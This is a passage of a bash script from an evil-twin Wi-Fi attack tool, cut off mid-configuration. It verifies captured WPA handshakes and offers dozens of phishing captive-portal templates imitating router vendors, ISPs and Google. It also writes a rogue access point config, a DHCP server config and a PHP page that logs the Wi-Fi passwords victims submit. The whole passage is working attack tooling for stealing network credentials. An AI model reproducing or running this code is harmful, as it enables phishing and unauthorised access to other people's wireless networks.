$DUMP_PATH/test.cap analyze 2>&1 | grep -q "good,"; then killall airodump-ng mdk3 aireplay-ng &>$flux_output_device pyrit -r $DUMP_PATH/test.cap -o $HANDSHAKE_PATH/$Host_SSID2-$Host_MAC.cap strip &>$flux_output_device certssl i=2 break else if aircrack-ng $DUMP_PATH/$Host_MAC-01.cap | grep -q "1 handshake"; then Handshake_statuscheck="${yellow}Corrupted$transparent" else Handshake_statuscheck="${red}Not_found$transparent" fi fi rm $DUMP_PATH/test.cap &>$flux_output_device fi } ############################################# < HANDSHAKE > ############################################ function certssl { # Test if the ssl certificate is generated correcly if there is any if [ -f $DUMP_PATH/server.pem ]; then if [ -s $DUMP_PATH/server.pem ]; then webinterface break else if [ "$FLUX_AUTO" = "1" ];then creassl fi while true;do conditional_clear top echo " " echo -e ""$red"["$yellow"2"$red"]"$transparent" Certificate invalid or not present, please choose an option" echo " " echo -e " "$red"["$yellow"1"$red"]"$grey" Create a SSL certificate" echo -e " "$red"["$yellow"2"$red"]"$transparent" Search for SSL certificate" # hop to certssl check again echo -e " "$red"["$yellow"3"$red"]"$red" Exit" $transparent echo " " echo -n ' #> ' read yn case $yn in 1 ) creassl;; 2 ) certssl;break;; 3 ) exitmode; break;; * ) echo "$general_case_error"; conditional_clear esac done fi else if [ "$FLUX_AUTO" = "1" ];then creassl fi while true; do conditional_clear top echo " " echo " Certificate invalid or not present, please choice" echo " " echo -e " "$red"["$yellow"1"$red"]"$grey" Create a SSL certificate" echo -e " "$red"["$yellow"2"$red"]"$transparent" Search for SSl certificate" # hop to certssl check again echo -e " "$red"["$yellow"3"$red"]"$red" Exit" $transparent echo " " echo -n ' #> ' read yn case $yn in 1 ) creassl;; 2 ) certssl; break;; 3 ) exitmode; break;; * ) echo "$general_case_error"; conditional_clear esac done fi } # Create Self-Signed SSL Certificate function creassl { xterm -title "Create Self-Signed SSL Certificate" -e openssl req -subj '/CN=SEGURO/O=SEGURA/OU=SEGURA/C=US' -new -newkey rsa:2048 -days 365 -nodes -x509 -keyout /$DUMP_PATH/server.pem -out /$DUMP_PATH/server.pem # more details there https://www.openssl.org/docs/manmaster/apps/openssl.html certssl } ############################################# < ATAQUE > ############################################ # Select attack strategie that will be used function webinterface { chmod 400 $DUMP_PATH/server.pem if [ "$FLUX_AUTO" = "1" ];then matartodo; ConnectionRESET; selection else while true; do conditional_clear top infoap echo echo -e ""$red"["$yellow"2"$red"]"$transparent" $header_webinterface" echo echo -e " "$red"["$yellow"1"$red"]"$grey" Web Interface" echo -e " "$red"["$yellow"2"$red"]"$transparent" \e[1;31mExit"$transparent"" echo echo -n "#? " read yn case $yn in 1 ) matartodo; ConnectionRESET; selection; break;; 2 ) matartodo; exitmode; break;; esac done fi } function ConnectionRESET { if [ "$FLUX_AUTO" = "1" ];then webconf=1 else while true; do conditional_clear top infoap n=1 echo echo -e ""$red"["$yellow"2"$red"]"$transparent" $header_ConnectionRESET" echo echo -e " "$red"["$yellow"$n"$red"]"$transparent" English [ENG] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" German [GER] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Russian [RUS] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Italian [IT] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Spanish [ESP] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Portuguese [POR] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Chinese [CN] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" French [FR] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Turkish [TR] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Romanian [RO] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Hungarian [HU] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Arabic [ARA] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Greek [GR] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Czech [CZ] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Norwegian [NO] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Bulgarian [BG] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Serbian [SRB] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Polish [PL] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Indonesian [ID] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Dutch [NL] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Danish [DAN] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Hebrew [HE] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Thai [TH] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Portuguese [BR] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Slovenian [SVN] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Belkin [ENG]";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Netgear [ENG]";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Huawei [ENG]";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Verizon [ENG]";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Netgear [ESP]";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Arris [ESP]";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Vodafone [ESP]";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" TP-Link [ENG]";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Ziggo [NL]";n=` expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" KPN [NL]";n=` expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Ziggo2016 [NL]";n=` expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" FRITZBOX_DE [DE] ";n=` expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" FRITZBOX_ENG[ENG] ";n=` expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" GENEXIS_DE [DE] ";n=` expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Login-Netgear[Login-Netgear] ";n=` expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Login-Xfinity[Login-Xfinity] ";n=` expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Telekom ";n=` expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Google";n=` expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" MOVISTAR [ESP]";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent"\e[1;31m $general_back"$transparent"" echo echo -n "#? " read webconf if [ "$webconf" = "1" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_ENG DIALOG_WEB_INFO=$DIALOG_WEB_INFO_ENG DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_ENG DIALOG_WEB_OK=$DIALOG_WEB_OK_ENG DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_ENG DIALOG_WEB_BACK=$DIALOG_WEB_BACK_ENG DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_ENG DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_ENG DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_ENG DIALOG_WEB_DIR=$DIALOG_WEB_DIR_ENG NEUTRA break elif [ "$webconf" = "2" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_GER DIALOG_WEB_INFO=$DIALOG_WEB_INFO_GER DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_GER DIALOG_WEB_OK=$DIALOG_WEB_OK_GER DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_GER DIALOG_WEB_BACK=$DIALOG_WEB_BACK_GER DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_GER DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_GER DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_GER DIALOG_WEB_DIR=$DIALOG_WEB_DIR_GER NEUTRA break elif [ "$webconf" = "3" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_RUS DIALOG_WEB_INFO=$DIALOG_WEB_INFO_RUS DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_RUS DIALOG_WEB_OK=$DIALOG_WEB_OK_RUS DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_RUS DIALOG_WEB_BACK=$DIALOG_WEB_BACK_RUS DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_RUS DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_RUS DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_RUS DIALOG_WEB_DIR=$DIALOG_WEB_DIR_RUS NEUTRA break elif [ "$webconf" = "4" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_IT DIALOG_WEB_INFO=$DIALOG_WEB_INFO_IT DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_IT DIALOG_WEB_OK=$DIALOG_WEB_OK_IT DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_IT DIALOG_WEB_BACK=$DIALOG_WEB_BACK_IT DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_IT DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_IT DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_IT DIALOG_WEB_DIR=$DIALOG_WEB_DIR_IT NEUTRA break elif [ "$webconf" = "5" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_ESP DIALOG_WEB_INFO=$DIALOG_WEB_INFO_ESP DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_ESP DIALOG_WEB_OK=$DIALOG_WEB_OK_ESP DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_ESP DIALOG_WEB_BACK=$DIALOG_WEB_BACK_ESP DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_ESP DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_ESP DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_ESP DIALOG_WEB_DIR=$DIALOG_WEB_DIR_ESP NEUTRA break elif [ "$webconf" = "6" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_POR DIALOG_WEB_INFO=$DIALOG_WEB_INFO_POR DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_POR DIALOG_WEB_OK=$DIALOG_WEB_OK_POR DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_POR DIALOG_WEB_BACK=$DIALOG_WEB_BACK_POR DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_POR DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_POR DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_POR DIALOG_WEB_DIR=$DIALOG_WEB_DIR_POR NEUTRA break elif [ "$webconf" = "7" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_CN DIALOG_WEB_INFO=$DIALOG_WEB_INFO_CN DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_CN DIALOG_WEB_OK=$DIALOG_WEB_OK_CN DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_CN DIALOG_WEB_BACK=$DIALOG_WEB_BACK_CN DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_CN DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_CN DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_CN DIALOG_WEB_DIR=$DIALOG_WEB_DIR_CN NEUTRA break elif [ "$webconf" = "8" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_FR DIALOG_WEB_INFO=$DIALOG_WEB_INFO_FR DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_FR DIALOG_WEB_OK=$DIALOG_WEB_OK_FR DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_FR DIALOG_WEB_BACK=$DIALOG_WEB_BACK_FR DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_FR DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_FR DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_FR DIALOG_WEB_DIR=$DIALOG_WEB_DIR_FR NEUTRA break elif [ "$webconf" = "9" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_TR DIALOG_WEB_INFO=$DIALOG_WEB_INFO_TR DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_TR DIALOG_WEB_OK=$DIALOG_WEB_OK_TR DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_TR DIALOG_WEB_BACK=$DIALOG_WEB_BACK_TR DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_TR DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_TR DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_TR DIALOG_WEB_DIR=$DIALOG_WEB_DIR_TR NEUTRA break elif [ "$webconf" = "10" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_RO DIALOG_WEB_INFO=$DIALOG_WEB_INFO_RO DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_RO DIALOG_WEB_OK=$DIALOG_WEB_OK_RO DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_RO DIALOG_WEB_BACK=$DIALOG_WEB_BACK_RO DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_RO DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_RO DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_RO DIALOG_WEB_DIR=$DIALOG_WEB_DIR_RO NEUTRA break elif [ "$webconf" = "11" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_HU DIALOG_WEB_INFO=$DIALOG_WEB_INFO_HU DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_HU DIALOG_WEB_OK=$DIALOG_WEB_OK_HU DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_HU DIALOG_WEB_BACK=$DIALOG_WEB_BACK_HU DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_HU DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_HU DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_HU DIALOG_WEB_DIR=$DIALOG_WEB_DIR_HU NEUTRA break elif [ "$webconf" = "12" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_ARA DIALOG_WEB_INFO=$DIALOG_WEB_INFO_ARA DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_ARA DIALOG_WEB_OK=$DIALOG_WEB_OK_ARA DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_ARA DIALOG_WEB_BACK=$DIALOG_WEB_BACK_ARA DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_ARA DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_ARA DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_ARA DIALOG_WEB_DIR=$DIALOG_WEB_DIR_ARA NEUTRA break elif [ "$webconf" = "13" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_GR DIALOG_WEB_INFO=$DIALOG_WEB_INFO_GR DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_GR DIALOG_WEB_OK=$DIALOG_WEB_OK_GR DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_GR DIALOG_WEB_BACK=$DIALOG_WEB_BACK_GR DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_GR DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_GR DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_GR DIALOG_WEB_DIR=$DIALOG_WEB_DIR_GR NEUTRA break elif [ "$webconf" = "14" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_CZ DIALOG_WEB_INFO=$DIALOG_WEB_INFO_CZ DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_CZ DIALOG_WEB_OK=$DIALOG_WEB_OK_CZ DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_CZ DIALOG_WEB_BACK=$DIALOG_WEB_BACK_CZ DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_CZ DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_CZ DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_CZ DIALOG_WEB_DIR=$DIALOG_WEB_DIR_CZ NEUTRA break elif [ "$webconf" = "15" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_NO DIALOG_WEB_INFO=$DIALOG_WEB_INFO_NO DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_NO DIALOG_WEB_OK=$DIALOG_WEB_OK_NO DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_NO DIALOG_WEB_BACK=$DIALOG_WEB_BACK_NO DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_NO DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_NO DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_NO DIALOG_WEB_DIR=$DIALOG_WEB_DIR_NO NEUTRA break elif [ "$webconf" = "16" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_BG DIALOG_WEB_INFO=$DIALOG_WEB_INFO_BG DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_BG DIALOG_WEB_OK=$DIALOG_WEB_OK_BG DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_BG DIALOG_WEB_BACK=$DIALOG_WEB_BACK_BG DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_BG DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_BG DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_BG DIALOG_WEB_DIR=$DIALOG_WEB_DIR_BG NEUTRA break elif [ "$webconf" = "17" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_SRB DIALOG_WEB_INFO=$DIALOG_WEB_INFO_SRB DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_SRB DIALOG_WEB_OK=$DIALOG_WEB_OK_SRB DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_SRB DIALOG_WEB_BACK=$DIALOG_WEB_BACK_SRB DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_SRB DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_SRB DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_SRB DIALOG_WEB_DIR=$DIALOG_WEB_DIR_SRB NEUTRA break elif [ "$webconf" = "18" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_PL DIALOG_WEB_INFO=$DIALOG_WEB_INFO_PL DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_PL DIALOG_WEB_OK=$DIALOG_WEB_OK_PL DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_PL DIALOG_WEB_BACK=$DIALOG_WEB_BACK_PL DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_PL DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_PL DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_PL DIALOG_WEB_DIR=$DIALOG_WEB_DIR_PL NEUTRA break elif [ "$webconf" = "19" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_ID DIALOG_WEB_INFO=$DIALOG_WEB_INFO_ID DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_ID DIALOG_WEB_OK=$DIALOG_WEB_OK_ID DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_ID DIALOG_WEB_BACK=$DIALOG_WEB_BACK_ID DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_ID DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_ID DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_ID DIALOG_WEB_DIR=$DIALOG_WEB_DIR_ID NEUTRA break elif [ "$webconf" = "20" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_NL DIALOG_WEB_INFO=$DIALOG_WEB_INFO_NL DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_NL DIALOG_WEB_OK=$DIALOG_WEB_OK_NL DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_NL DIALOG_WEB_BACK=$DIALOG_WEB_BACK_NL DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_NL DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_NL DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_NL DIALOG_WEB_DIR=$DIALOG_WEB_DIR_NL NEUTRA break elif [ "$webconf" = 21 ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_DAN DIALOG_WEB_INFO=$DIALOG_WEB_INFO_DAN DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_DAN DIALOG_WEB_OK=$DIALOG_WEB_OK_DAN DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_DAN DIALOG_WEB_BACK=$DIALOG_WEB_BACK_DAN DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_DAN DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_DAN DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_DAN DIALOG_WEB_DIR=$DIALOG_WEB_DIR_DAN NEUTRA break elif [ "$webconf" = 22 ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_HE DIALOG_WEB_INFO=$DIALOG_WEB_INFO_HE DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_HE DIALOG_WEB_OK=$DIALOG_WEB_OK_HE DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_HE DIALOG_WEB_BACK=$DIALOG_WEB_BACK_HE DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_HE DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_HE DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_HE DIALOG_WEB_DIR=$DIALOG_WEB_DIR_HE NEUTRA break elif [ "$webconf" = 23 ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_TH DIALOG_WEB_INFO=$DIALOG_WEB_INFO_TH DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_TH DIALOG_WEB_OK=$DIALOG_WEB_OK_TH DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_TH DIALOG_WEB_BACK=$DIALOG_WEB_BACK_TH DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_TH DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_TH DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_TH DIALOG_WEB_DIR=$DIALOG_WEB_DIR_TH NEUTRA break elif [ "$webconf" = 24 ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_PT_BR DIALOG_WEB_INFO=$DIALOG_WEB_INFO_PT_BR DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_PT_BR DIALOG_WEB_OK=$DIALOG_WEB_OK_PT_BR DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_ DIALOG_WEB_BACK=$DIALOG_WEB_BACK_ DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_ DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_PT_BR DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_PT_BR DIALOG_WEB_DIR=$DIALOG_WEB_DIR_PT_BR NEUTRA break elif [ "$webconf" = 25 ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_PT_SVN DIALOG_WEB_INFO=$DIALOG_WEB_INFO_PT_SVN DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_PT_SVN DIALOG_WEB_OK=$DIALOG_WEB_OK_PT_SVN DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_ DIALOG_WEB_BACK=$DIALOG_WEB_BACK_ DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_ DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_PT_SVN DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_PT_SVN DIALOG_WEB_DIR=$DIALOG_WEB_DIR_PT_SVN NEUTRA SVNeak elif [ "$webconf" = "26" ]; then BELKIN break elif [ "$webconf" = "27" ]; then NETGEAR break elif [ "$webconf" = "28" ]; then HUAWEI break elif [ "$webconf" = "29" ]; then VERIZON break elif [ "$webconf" = "30" ]; then NETGEAR2 break elif [ "$webconf" = "31" ]; then ARRIS2 break elif [ "$webconf" = "32" ]; then VODAFONE break elif [ "$webconf" = "33" ]; then TPLINK break elif [ "$webconf" = "34" ]; then ZIGGO_NL break elif [ "$webconf" = "35" ]; then KPN_NL break elif [ "$webconf" = "36" ]; then ZIGGO2016_NL break elif [ "$webconf" = "37" ]; then FRITZBOX_DE break elif [ "$webconf" = "38" ]; then FRITZBOX_ENG break elif [ "$webconf" = "39" ]; then GENEXIS_DE break elif [ "$webconf" = "40" ]; then Login-Netgear break elif [ "$webconf" = "41" ]; then Login-Xfinity break elif [ "$webconf" = "42" ]; then Telekom break elif [ "$webconf" = "43" ]; then google break elif [ "$webconf" = "44" ]; then MOVISTAR_ES break elif [ "$webconf" = "45" ]; then conditional_clear webinterface break fi done fi preattack attack } # Create different settings required for the script function preattack { # Config HostAPD echo "interface=$WIFI driver=nl80211 ssid=$Host_SSID channel=$Host_CHAN" > $DUMP_PATH/hostapd.conf # Creates PHP echo "<?php error_reporting(0); \$count_my_page = (\"$DUMP_PATH/hit.txt\"); \$hits = file(\$count_my_page); \$hits[0] ++; \$fp = fopen(\$count_my_page , \"w\"); fputs(\$fp , \$hits[0]); fclose(\$fp); // Receive form Post data and Saving it in variables \$key1 = @\$_POST['key1']; // Write the name of text file where data will be store \$filename = \"$DUMP_PATH/data.txt\"; \$filename2 = \"$DUMP_PATH/status.txt\"; \$intento = \"$DUMP_PATH/intento\"; \$attemptlog = \"$DUMP_PATH/pwattempt.txt\"; // Marge all the variables with text in a single variable. \$f_data= ''.\$key1.''; \$pwlog = fopen(\$attemptlog, \"w\"); fwrite(\$pwlog, \$f_data); fwrite(\$pwlog,\"\n\"); fclose(\$pwlog); \$file = fopen(\$filename, \"w\"); fwrite(\$file, \$f_data); fwrite(\$file,\"\n\"); fclose(\$file); \$archivo = fopen(\$intento, \"w\"); fwrite(\$archivo,\"\n\"); fclose(\$archivo); while( 1 ) { if (file_get_contents( \$intento ) == 1) { header(\"Location:error.html\"); unlink(\$intento); break; } if (file_get_contents( \$intento ) == 2) { header(\"Location:final.html\"); break; } sleep(1); } ?>" > $DUMP_PATH/data/check.php # Config DHCP echo "authoritative; default-lease-time 600; max-lease-time 7200; subnet $RANG_IP.0 netmask 255.255.255.0 { option broadcast-address $RANG_IP.255; option routers $IP; option subnet-mask 255.255.255.0; option domain-name-servers $IP; range $RANG_IP.100 $RANG_IP.250; }" > $DUMP_PATH/dhcpd.conf #create an empty leases file touch $DUMP_PATH/dhcpd.leases # creates Lighttpd web-server echo "server.document-root = \"$DUMP_PATH/data/\" server.modules = ( \"mod_access\", \"mod_alias\", \"mod_accesslog\", \"mod_fastcgi\", \"mod_redirect\", \"mod_rewrite\" ) fastcgi.server = ( \".php\" => (( \"bin-path\" => \"/usr/bin/php-cgi\", 